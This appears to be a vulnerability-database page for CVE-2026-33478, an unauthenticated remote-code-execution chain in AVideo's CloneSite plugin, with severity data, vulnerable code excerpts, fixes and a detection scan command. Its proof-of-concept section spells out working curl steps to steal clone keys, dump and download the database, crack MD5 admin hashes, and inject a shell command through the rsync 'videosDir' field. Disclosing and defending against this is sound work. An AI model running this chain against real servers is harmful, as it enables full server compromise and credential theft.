CVE-2026-33478 is a critical-severity (CVSS 10) OS Command Injection vulnerability in wwbn/avideo. EPSS puts its 30-day exploitation probability at 13.3% (96th percentile). The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.
AVideo Multi-Chain Attack: Unauthenticated Remote Code Execution via Clone Key Disclosure, Database Dump, and Command Injection
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-33478.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Multiple vulnerabilities in AVideo's CloneSite plugin chain together to allow a completely unauthenticated attacker to achieve remote code execution. The clones.json.php endpoint exposes clone secret keys without authentication, which can be used to trigger a full database dump via cloneServer.json.php. The dump contains admin password hashes stored as MD5, which are trivially crackable. With admin access, the attacker exploits an OS command injection in the rsync command construction in cloneClient.json.php to execute arbitrary system commands.
Details
Step 1: Clone Key Disclosure
plugin/CloneSite/clones.json.php:1-8 has zero authentication:
<?php
require_once '../../videos/configuration.php';
require_once $global['systemRootPath'] . 'plugin/CloneSite/Objects/Clones.php';
header('Content-Type: application/json');
$rows = Clones::getAll();
?>
{"data": <?php echo json_encode($rows); ?>}
The response includes the key field for every registered clone, which is the sole authentication credential for clone operations.
Step 2: Database Dump via Stolen Key
plugin/CloneSite/cloneServer.json.php:73-97 — once the key passes Clones::thisURLCanCloneMe(), the server executes mysqldump and writes the result to a web-accessible directory:
$cmd = "mysqldump -u {$mysqlUser} -p'{$mysqlPass}' --host {$mysqlHost} "
." --default-character-set=utf8mb4 {$mysqlDatabase} {$tablesList} > $sqlFile";
exec($cmd . " 2>&1", $output, $return_val);
The SQL file path is returned in the JSON response and is downloadable.
Step 3: Admin Credential Extraction
objects/user.php:1798 — passwords are stored as unsalted MD5:
$passEncoded = md5($pass);
The users table in the dump contains user, password (MD5), and isAdmin fields. MD5 hashes crack in seconds.
Step 4: Command Injection via Rsync
plugin/CloneSite/cloneClient.json.php:259 — the videosDir from the clone server response is interpolated unsanitized into the rsync command:
$rsync = "sshpass -p '{password}' rsync -av ... {$objClone->cloneSiteSSHUser}@{$objClone->cloneSiteSSHIP}:{$json->videosDir} ...";
exec($cmd . " 2>&1", $output, $return_val);
An admin who controls a clone server (or an attacker who has become admin) can inject arbitrary commands via the videosDir field.
PoC
# Step 1: Steal clone keys (unauthenticated)
curl -s 'http://target/plugin/CloneSite/clones.json.php' | jq '.data[0].key'
# Output: "a1b2c3d4e5f6..."
# Step 2: Trigger database dump
CLONE_KEY="a1b2c3d4e5f6..."
curl -s "http://target/plugin/CloneSite/cloneServer.json.php" \
--data "url=http://attacker.com&key=${CLONE_KEY}&useRsync=0" | jq '.sqlFile'
# Output: "Clone_mysqlDump_1234567890.sql"
# Step 3: Download the dump and extract admin credentials
curl -s "http://target/videos/clones/Clone_mysqlDump_1234567890.sql" \
| grep -A2 "INSERT INTO.*users" \
| grep -oP "admin','[a-f0-9]{32}"
# Output: admin','5f4dcc3b5aa765d61d8327deb882cf99 (MD5 of "password")
# Step 4: Crack MD5 (trivial)
echo -n "5f4dcc3b5aa765d61d8327deb882cf99" | hashcat -m 0 -a 0 rockyou.txt
# Output: password
# Step 5: Login as admin, configure CloneSite with malicious server
# The attacker's clone server returns videosDir containing: /tmp$(id > /tmp/pwned)
# When rsync executes, the $(id) is evaluated by the shell
Impact
- Complete server compromise: Unauthenticated attacker achieves arbitrary command execution as the web server user
- Full database disclosure: The entire database (users, videos, configurations, secrets) is exfiltrated
- No user interaction: Every step is automated, no clicks or social engineering required
- Credential theft: All user passwords (MD5) are trivially recoverable
- Lateral movement: Database credentials and SSH credentials (stored encrypted in the plugins table) may enable access to other systems
Recommended Fix
- Add authentication to
clones.json.php:
// plugin/CloneSite/clones.json.php
require_once '../../videos/configuration.php';
if (!User::isAdmin()) {
http_response_code(403);
die(json_encode(['error' => true, 'msg' => 'Admin required']));
}
-
Don't store SQL dumps in web-accessible directories — use a path outside the web root or require re-authentication to download.
-
Upgrade password hashing — replace MD5 with
password_hash()(bcrypt/argon2):
// Replace: $passEncoded = md5($pass);
$passEncoded = password_hash($pass, PASSWORD_DEFAULT);
- Sanitize rsync command parameters — use
escapeshellarg()on all interpolated values:
$rsync = sprintf("rsync -av ... %s@%s:%s ...",
escapeshellarg($objClone->cloneSiteSSHUser),
escapeshellarg($objClone->cloneSiteSSHIP),
escapeshellarg($json->videosDir)
);
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Affected Products
avideowwbnDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
The records we use list no patched version of wwbn/avideo for CVE-2026-33478. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.
Mitigate without a patch
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
How to detect CVE-2026-33478
A community-maintained Nuclei template exists for this CVE. You can scan for it directly:
nuclei -id cve-2026-33478 -u https://target- Template
- AVideo <= 26.0 - WWBN AVideo - Remote Code Execution
- Severity
- critical
- Impact
- Unauthenticated attackers can execute arbitrary system commands, leading to full server compromise.
- Remediation
- Update to the version including commit c85d076375fab095a14170df7ddb27058134d38c or later.
Template by ProjectDiscovery nuclei-templates (pussycat0x), MIT licensed. View the full template. Scan only systems you are authorised to test.
Frequently Asked Questions
Is CVE-2026-33478 in your dependencies?
Find it across Packagist, including transitive dependencies.